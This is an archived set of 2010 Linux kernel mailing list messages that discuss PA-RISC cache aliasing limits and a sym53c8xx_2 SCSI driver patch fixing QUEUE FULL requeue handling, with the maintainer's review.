	id S1754529Ab0J0IfY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 Oct 2010 04:35:24 -0400
Original-Received: from artax.karlin.mff.cuni.cz ([195.113.26.195]:43124 "EHLO
	artax.karlin.mff.cuni.cz" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753488Ab0J0IfW (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 Oct 2010 04:35:22 -0400
Original-Received: by artax.karlin.mff.cuni.cz (Postfix, from userid 17421)
	id 31F27980B6; Wed, 27 Oct 2010 10:35:21 +0200 (CEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by artax.karlin.mff.cuni.cz (Postfix) with ESMTP id 2E2A898094;
	Wed, 27 Oct 2010 10:35:21 +0200 (CEST)
In-Reply-To: <alpine.DEB.1.10.1010270957110.31946@artax.karlin.mff.cuni.cz>
User-Agent: Alpine 1.10 (DEB 962 2008-03-14)
X-Personality-Disorder: Schizoid
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3176
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3176>



On Wed, 27 Oct 2010, Mikulas Patocka wrote:

> 
> 
> On Tue, 26 Oct 2010, James Bottomley wrote:
> 
> > On Tue, 2010-10-26 at 21:29 -0400, John David Anglin wrote:
> > > > - shared memory --- there is SHMLBA boundary that causes that all
> > > mappings 
> > > > are aligned to this boundary --- it is **WRONG** in the current
> > > kernel!!! 
> > > > It is only 4MB and should be 16MB!!!
> > > 
> > > James has said that the max for all PA-RISC implementations is
> > > 4 MB.  The value is returned by the PDC_CACHE call.  Maybe a BUG_ON is
> > > called for.  The alias boundary can be determined by the alias field
> > > in the D_conf return value.
> > 
> > Why is it I get blamed for everything cache related on parisc?  The
> 
> You don't get blamed, we're just trying to find bugs :)
> 
> > statement in the manuals that the equivalency modulus is 16MB was left
> > for future expansion.  However, given PA8900 is the last in the series,
> > there is no future expansion.  John Marvin (I think it was) from the HP
> > processor group confirmed that the largest equivalency modulus for any
> > produced parisc processor is 4MB, so that's what we use in the kernel.
> > 
> > James
> 
> The largest L2 cache size is 64MB --- so if the cache is 4-way 
> associative, the equivalency distance is 16MB (as the manual says).
> 
> If the equivalency distance were 4MB, the L2 cache would have to be 16-way 
> (or the cache would have to be physically indexed and you wouldn't have to 
> care about its consistency at all).
> 
> Mikulas

BTW. note that that internal documentation may be wrong. There's a 
whitepaper about PA8700 on HP site that describes the dcache as 
375kBx4ways and icache as 188kBx4ways. It is hard to implement this way 
(the CPU'd have to do some mathematics to calculate the cache index), I 
much more believe that the cache is really 3-way or 6-way (where the CPU 
could just take some bits of the address as the index).

That 64MB cache may be 16-way with 4MB modulus, but it looks less 
plausible than a 4-way cache with 16MB modulus.

Anyway, if you think that the modulus is 4MB, try it --- take PA8900 with 
64MB cache, map shared memory to two processes to addresses congruent with 
4MB (but not 8MB), let one process write to odd bytes and the other to 
even bytes and let the processes check that they read the bytes that they 
wrote. If the caches don't synchronize, you'll get a corruption after some 
time of running this.

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.scsi
Subject: sym53c8xx_2 data corruption
Date: Wed, 27 Oct 2010 11:04:40 +0200 (CEST)
Lines: 66
Approved: news@gmane.org
Message-ID: <alpine.DEB.1.10.1010271059230.31946@artax.karlin.mff.cuni.cz>
References: <20101027012932.3CB6E4FB4@hiauly1.hia.nrc.ca> <1288155041.19649.354.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1288170287 17274 80.91.229.12 (27 Oct 2010 09:04:47 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 27 Oct 2010 09:04:47 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-scsi@vger.kernel.org,
	matthew@wil.cx
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 27 11:04:45 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PB1w2-00025r-Np
	for glpp-linux-parisc@lo.gmane.org; Wed, 27 Oct 2010 11:04:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758697Ab0J0JEm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 Oct 2010 05:04:42 -0400
Original-Received: from artax.karlin.mff.cuni.cz ([195.113.26.195]:37078 "EHLO
	artax.karlin.mff.cuni.cz" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755088Ab0J0JEl (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 Oct 2010 05:04:41 -0400
Original-Received: by artax.karlin.mff.cuni.cz (Postfix, from userid 17421)
	id E0F3B980B5; Wed, 27 Oct 2010 11:04:40 +0200 (CEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by artax.karlin.mff.cuni.cz (Postfix) with ESMTP id DF9D5980AE;
	Wed, 27 Oct 2010 11:04:40 +0200 (CEST)
In-Reply-To: <1288155041.19649.354.camel@mulgrave.site>
User-Agent: Alpine 1.10 (DEB 962 2008-03-14)
X-Personality-Disorder: Schizoid
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3177 gmane.linux.scsi:63115
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3177>

Hi

I sent this about twice to linux-scsi and got no reseponse, neither from 
conference nor from Matthew. So I'm sending it here, James, you are the 
maintainer of SCSI, could you please look at the patch and incorporate it 
to the kernel in this cycle?

The problem is that if the disk returns QUEUE FULL, the requests are 
aborted with DID_SOFT_ERROR (rather than DID_REQUEUE), which results in 
too few retries and premature errors. The errors happen mostly on writes, 
resulting in data corruption.

Mikulas

---

sym53c8xx_2: Set DID_REQUEUE return code when aborting squeue.

When the controller encounters an error (including QUEUE FULL or BUSY status),
it aborts all not yet submitted requests in the function
sym_dequeue_from_squeue.

This function aborts them with DID_SOFT_ERROR.

If the disk has a full tag queue, the request that caused the overflow is
aborted with QUEUE FULL status (and the scsi midlayer properly retries it
until it is accepted by the disk), but other requests are aborted with
DID_SOFT_ERROR --- for them, the midlayer does just a few retries and then
signals the error up to sd.

The result is that disk returning QUEUE FULL causes request failures.

The error was reproduced on 53c895 with COMPAQ BD03685A24 disk (rebranded
ST336607LC) with command queue 48 or 64 tags. The disk has 64 tags, but
under some access patterns it return QUEUE FULL when there are less than
64 pending tags. The SCSI specification allows returning QUEUE FULL
anytime and it is up to the host to retry.

Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>

---
 drivers/scsi/sym53c8xx_2/sym_hipd.c |    4 ++++
 1 file changed, 4 insertions(+)

Index: linux-2.6.36-rc5-fast/drivers/scsi/sym53c8xx_2/sym_hipd.c
===================================================================
--- linux-2.6.36-rc5-fast.orig/drivers/scsi/sym53c8xx_2/sym_hipd.c	2010-09-27 10:25:59.000000000 +0200
+++ linux-2.6.36-rc5-fast/drivers/scsi/sym53c8xx_2/sym_hipd.c	2010-09-27 10:26:27.000000000 +0200
@@ -3000,7 +3000,11 @@ sym_dequeue_from_squeue(struct sym_hcb *
 		if ((target == -1 || cp->target == target) &&
 		    (lun    == -1 || cp->lun    == lun)    &&
 		    (task   == -1 || cp->tag    == task)) {
+#ifdef SYM_OPT_HANDLE_DEVICE_QUEUEING
 			sym_set_cam_status(cp->cmd, DID_SOFT_ERROR);
+#else
+			sym_set_cam_status(cp->cmd, DID_REQUEUE);
+#endif
 			sym_remque(&cp->link_ccbq);
 			sym_insque_tail(&cp->link_ccbq, &np->comp_ccbq);
 		}

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PA caches (was: C8000 cpu upgrade problem)
Date: Wed, 27 Oct 2010 09:07:45 -0500
Lines: 45
Approved: news@gmane.org
Message-ID: <1288188465.4692.0.camel@mulgrave.site>
References: <20101027012932.3CB6E4FB4@hiauly1.hia.nrc.ca>
	 <1288155041.19649.354.camel@mulgrave.site>
	 <alpine.DEB.1.10.1010270957110.31946@artax.karlin.mff.cuni.cz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1288188472 4064 80.91.229.12 (27 Oct 2010 14:07:52 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 27 Oct 2010 14:07:52 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>, kyle@mcmartin.ca,
	linux-parisc@vger.kernel.org
To: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 27 16:07:50 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PB6fO-00068D-4B
	for glpp-linux-parisc@lo.gmane.org; Wed, 27 Oct 2010 16:07:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756903Ab0J0OHt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 Oct 2010 10:07:49 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:36396 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1756706Ab0J0OHt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 Oct 2010 10:07:49 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id C81058EE100;
	Wed, 27 Oct 2010 07:07:48 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id YdiymOIG-X0z; Wed, 27 Oct 2010 07:07:48 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 435568EE0F8;
	Wed, 27 Oct 2010 07:07:48 -0700 (PDT)
In-Reply-To: <alpine.DEB.1.10.1010270957110.31946@artax.karlin.mff.cuni.cz>
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3178
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3178>

On Wed, 2010-10-27 at 10:06 +0200, Mikulas Patocka wrote:
> 
> On Tue, 26 Oct 2010, James Bottomley wrote:
> 
> > On Tue, 2010-10-26 at 21:29 -0400, John David Anglin wrote:
> > > > - shared memory --- there is SHMLBA boundary that causes that all
> > > mappings 
> > > > are aligned to this boundary --- it is **WRONG** in the current
> > > kernel!!! 
> > > > It is only 4MB and should be 16MB!!!
> > > 
> > > James has said that the max for all PA-RISC implementations is
> > > 4 MB.  The value is returned by the PDC_CACHE call.  Maybe a BUG_ON is
> > > called for.  The alias boundary can be determined by the alias field
> > > in the D_conf return value.
> > 
> > Why is it I get blamed for everything cache related on parisc?  The
> 
> You don't get blamed, we're just trying to find bugs :)
> 
> > statement in the manuals that the equivalency modulus is 16MB was left
> > for future expansion.  However, given PA8900 is the last in the series,
> > there is no future expansion.  John Marvin (I think it was) from the HP
> > processor group confirmed that the largest equivalency modulus for any
> > produced parisc processor is 4MB, so that's what we use in the kernel.
> > 
> > James
> 
> The largest L2 cache size is 64MB --- so if the cache is 4-way 
> associative, the equivalency distance is 16MB (as the manual says).
> 
> If the equivalency distance were 4MB, the L2 cache would have to be 16-way 
> (or the cache would have to be physically indexed and you wouldn't have to 
> care about its consistency at all).

The L2 cache has no equivalency modulus ... it's not virtually indexed.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PA caches (was: C8000 cpu upgrade problem)
Date: Wed, 27 Oct 2010 09:18:34 -0500
Lines: 74
Approved: news@gmane.org
Message-ID: <1288189114.4692.8.camel@mulgrave.site>
References: <20101027012932.3CB6E4FB4@hiauly1.hia.nrc.ca>
	 <1288155041.19649.354.camel@mulgrave.site>
	 <alpine.DEB.1.10.1010270957110.31946@artax.karlin.mff.cuni.cz>
	 <alpine.DEB.1.10.1010271023540.31946@artax.karlin.mff.cuni.cz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1288189126 7549 80.91.229.12 (27 Oct 2010 14:18:46 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 27 Oct 2010 14:18:46 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>, kyle@mcmartin.ca,
	linux-parisc@vger.kernel.org
To: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 27 16:18:43 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PB6pt-0004OO-DH
	for glpp-linux-parisc@lo.gmane.org; Wed, 27 Oct 2010 16:18:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756971Ab0J0OSk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 Oct 2010 10:18:40 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:49779 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755177Ab0J0OSk (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 Oct 2010 10:18:40 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 085978EE100;
	Wed, 27 Oct 2010 07:18:40 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id G3Z-PEMSPiYn; Wed, 27 Oct 2010 07:18:39 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 6CA998EE0F8;
	Wed, 27 Oct 2010 07:18:39 -0700 (PDT)
In-Reply-To: <alpine.DEB.1.10.1010271023540.31946@artax.karlin.mff.cuni.cz>
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3179
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3179>

On Wed, 2010-10-27 at 10:35 +0200, Mikulas Patocka wrote:
> 
> On Wed, 27 Oct 2010, Mikulas Patocka wrote:
> 
> > 
> > 
> > On Tue, 26 Oct 2010, James Bottomley wrote:
> > 
> > > On Tue, 2010-10-26 at 21:29 -0400, John David Anglin wrote:
> > > > > - shared memory --- there is SHMLBA boundary that causes that all
> > > > mappings 
> > > > > are aligned to this boundary --- it is **WRONG** in the current
> > > > kernel!!! 
> > > > > It is only 4MB and should be 16MB!!!
> > > > 
> > > > James has said that the max for all PA-RISC implementations is
> > > > 4 MB.  The value is returned by the PDC_CACHE call.  Maybe a BUG_ON is
> > > > called for.  The alias boundary can be determined by the alias field
> > > > in the D_conf return value.
> > > 
> > > Why is it I get blamed for everything cache related on parisc?  The
> > 
> > You don't get blamed, we're just trying to find bugs :)
> > 
> > > statement in the manuals that the equivalency modulus is 16MB was left
> > > for future expansion.  However, given PA8900 is the last in the series,
> > > there is no future expansion.  John Marvin (I think it was) from the HP
> > > processor group confirmed that the largest equivalency modulus for any
> > > produced parisc processor is 4MB, so that's what we use in the kernel.
> > > 
> > > James
> > 
> > The largest L2 cache size is 64MB --- so if the cache is 4-way 
> > associative, the equivalency distance is 16MB (as the manual says).
> > 
> > If the equivalency distance were 4MB, the L2 cache would have to be 16-way 
> > (or the cache would have to be physically indexed and you wouldn't have to 
> > care about its consistency at all).
> > 
> > Mikulas
> 
> BTW. note that that internal documentation may be wrong. There's a 
> whitepaper about PA8700 on HP site that describes the dcache as 
> 375kBx4ways and icache as 188kBx4ways. It is hard to implement this way 
> (the CPU'd have to do some mathematics to calculate the cache index), I 
> much more believe that the cache is really 3-way or 6-way (where the CPU 
> could just take some bits of the address as the index).

I don't really buy that, but it depends on internals of the chip we
don't know about.  You seem to be assuming some type of CAS arrangement
but low associativity caches frequently use hidden index bits to cycle
through for the content, so their associativity is most often power of
two.

James

> That 64MB cache may be 16-way with 4MB modulus, but it looks less 
> plausible than a 4-way cache with 16MB modulus.
> 
> Anyway, if you think that the modulus is 4MB, try it --- take PA8900 with 
> 64MB cache, map shared memory to two processes to addresses congruent with 
> 4MB (but not 8MB), let one process write to odd bytes and the other to 
> even bytes and let the processes check that they read the bytes that they 
> wrote. If the caches don't synchronize, you'll get a corruption after some 
> time of running this.
> 
> Mikulas


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.scsi,gmane.linux.ports.parisc
Subject: Re: sym53c8xx_2 data corruption
Date: Wed, 27 Oct 2010 09:46:47 -0500
Lines: 89
Approved: news@gmane.org
Message-ID: <1288190807.4692.30.camel@mulgrave.site>
References: <20101027012932.3CB6E4FB4@hiauly1.hia.nrc.ca>
	 <1288155041.19649.354.camel@mulgrave.site>
	 <alpine.DEB.1.10.1010271059230.31946@artax.karlin.mff.cuni.cz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1288190842 16591 80.91.229.12 (27 Oct 2010 14:47:22 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 27 Oct 2010 14:47:22 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-scsi@vger.kernel.org,
	matthew@wil.cx
To: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Original-X-From: linux-scsi-owner@vger.kernel.org Wed Oct 27 16:47:21 2010
Return-path: <linux-scsi-owner@vger.kernel.org>
Envelope-to: lnx-linux-scsi@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-scsi-owner@vger.kernel.org>)
	id 1PB7Hb-0004W3-Fn
	for lnx-linux-scsi@lo.gmane.org; Wed, 27 Oct 2010 16:47:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933279Ab0J0OrJ (ORCPT <rfc822;lnx-linux-scsi@m.gmane.org>);
	Wed, 27 Oct 2010 10:47:09 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:51266 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S933264Ab0J0OrI (ORCPT
	<rfc822;linux-scsi@vger.kernel.org>);
	Wed, 27 Oct 2010 10:47:08 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id B82EC8EE100;
	Wed, 27 Oct 2010 07:47:07 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id ZfQkea9PoFqz; Wed, 27 Oct 2010 07:47:07 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 31D7F8EE0F8;
	Wed, 27 Oct 2010 07:47:07 -0700 (PDT)
In-Reply-To: <alpine.DEB.1.10.1010271059230.31946@artax.karlin.mff.cuni.cz>
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-scsi-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-scsi.vger.kernel.org>
X-Mailing-List: linux-scsi@vger.kernel.org
Xref: news.gmane.org gmane.linux.scsi:63125 gmane.linux.ports.parisc:3180
Archived-At: <http://permalink.gmane.org/gmane.linux.scsi/63125>

On Wed, 2010-10-27 at 11:04 +0200, Mikulas Patocka wrote:
> Hi
> 
> I sent this about twice to linux-scsi and got no reseponse, neither from 
> conference nor from Matthew. So I'm sending it here, James, you are the 
> maintainer of SCSI, could you please look at the patch and incorporate it 
> to the kernel in this cycle?
> 
> The problem is that if the disk returns QUEUE FULL, the requests are 
> aborted with DID_SOFT_ERROR (rather than DID_REQUEUE), which results in 
> too few retries and premature errors. The errors happen mostly on writes, 
> resulting in data corruption.
> 
> Mikulas
> 
> ---
> 
> sym53c8xx_2: Set DID_REQUEUE return code when aborting squeue.
> 
> When the controller encounters an error (including QUEUE FULL or BUSY status),
> it aborts all not yet submitted requests in the function
> sym_dequeue_from_squeue.
> 
> This function aborts them with DID_SOFT_ERROR.
> 
> If the disk has a full tag queue, the request that caused the overflow is
> aborted with QUEUE FULL status (and the scsi midlayer properly retries it
> until it is accepted by the disk), but other requests are aborted with
> DID_SOFT_ERROR --- for them, the midlayer does just a few retries and then
> signals the error up to sd.
> 
> The result is that disk returning QUEUE FULL causes request failures.
> 
> The error was reproduced on 53c895 with COMPAQ BD03685A24 disk (rebranded
> ST336607LC) with command queue 48 or 64 tags. The disk has 64 tags, but
> under some access patterns it return QUEUE FULL when there are less than
> 64 pending tags. The SCSI specification allows returning QUEUE FULL
> anytime and it is up to the host to retry.

So the description isn't really complete.  the function is
dequeue_from_squeue which is used to requeue all unissued scbs when the
sequencer is restarted.  This doesn't just affect QUEUE_FULL, it affects
everything.  As long as the pushback is done before the status is
returned (which it looks like it is), I think the patch after fixing
looks fine.

The problem isn't the actual command which returns queue full ... it's
that the sequencer accepts and queues a pile of commands and then
returns all of them on the first queue full ... that means that deeply
queued commands in the sequencer issue queue can get returned >5 times
on multiple QUEUE_FULL conditions which would cause a failure.

> Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>
> 
> ---
>  drivers/scsi/sym53c8xx_2/sym_hipd.c |    4 ++++
>  1 file changed, 4 insertions(+)
> 
> Index: linux-2.6.36-rc5-fast/drivers/scsi/sym53c8xx_2/sym_hipd.c
> ===================================================================
> --- linux-2.6.36-rc5-fast.orig/drivers/scsi/sym53c8xx_2/sym_hipd.c	2010-09-27 10:25:59.000000000 +0200
> +++ linux-2.6.36-rc5-fast/drivers/scsi/sym53c8xx_2/sym_hipd.c	2010-09-27 10:26:27.000000000 +0200
> @@ -3000,7 +3000,11 @@ sym_dequeue_from_squeue(struct sym_hcb *
>  		if ((target == -1 || cp->target == target) &&
>  		    (lun    == -1 || cp->lun    == lun)    &&
>  		    (task   == -1 || cp->tag    == task)) {
> +#ifdef SYM_OPT_HANDLE_DEVICE_QUEUEING
>  			sym_set_cam_status(cp->cmd, DID_SOFT_ERROR);
> +#else
> +			sym_set_cam_status(cp->cmd, DID_REQUEUE);
> +#endif

So the ifdef is definitely wrong.  SYM_OPT_HANDLE_DEVICE_QUEUEING is a
leftover from when the driver did explicit internal queueing. Just make
this do DID_REQUEUE and I *think* everything will be OK.

There's a danger in that DID_REQUEUE will requeue forever, so this
working depends on the original failing command being returned with the
correct code (which I think it is, but more eyes looking at this would
be helpful).

James


--
To unsubscribe from this list: send the line "unsubscribe linux-scsi" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.scsi
Subject: Re: sym53c8xx_2 data corruption
Date: Wed, 27 Oct 2010 18:19:32 +0200 (CEST)
Lines: 126
Approved: news@gmane.org
Message-ID: <alpine.DEB.1.10.1010271803010.18202@artax.karlin.mff.cuni.cz>
References: <20101027012932.3CB6E4FB4@hiauly1.hia.nrc.ca>  <1288155041.19649.354.camel@mulgrave.site>  <alpine.DEB.1.10.1010271059230.31946@artax.karlin.mff.cuni.cz> <1288190807.4692.30.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1288196377 12294 80.91.229.12 (27 Oct 2010 16:19:37 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 27 Oct 2010 16:19:37 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-scsi@vger.kernel.org,
	matthew@wil.cx
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 27 18:19:35 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PB8is-0005cn-FD
	for glpp-linux-parisc@lo.gmane.org; Wed, 27 Oct 2010 18:19:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1761155Ab0J0QTd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 Oct 2010 12:19:33 -0400
Original-Received: from artax.karlin.mff.cuni.cz ([195.113.26.195]:46651 "EHLO
	artax.karlin.mff.cuni.cz" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757804Ab0J0QTd (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 Oct 2010 12:19:33 -0400
Original-Received: by artax.karlin.mff.cuni.cz (Postfix, from userid 17421)
	id 5B7F9128010; Wed, 27 Oct 2010 18:19:32 +0200 (CEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by artax.karlin.mff.cuni.cz (Postfix) with ESMTP id 54EE498086;
	Wed, 27 Oct 2010 18:19:32 +0200 (CEST)
In-Reply-To: <1288190807.4692.30.camel@mulgrave.site>
User-Agent: Alpine 1.10 (DEB 962 2008-03-14)
X-Personality-Disorder: Schizoid
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3181 gmane.linux.scsi:63128
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3181>



On Wed, 27 Oct 2010, James Bottomley wrote:

> On Wed, 2010-10-27 at 11:04 +0200, Mikulas Patocka wrote:
> > Hi
> > 
> > I sent this about twice to linux-scsi and got no reseponse, neither from 
> > conference nor from Matthew. So I'm sending it here, James, you are the 
> > maintainer of SCSI, could you please look at the patch and incorporate it 
> > to the kernel in this cycle?
> > 
> > The problem is that if the disk returns QUEUE FULL, the requests are 
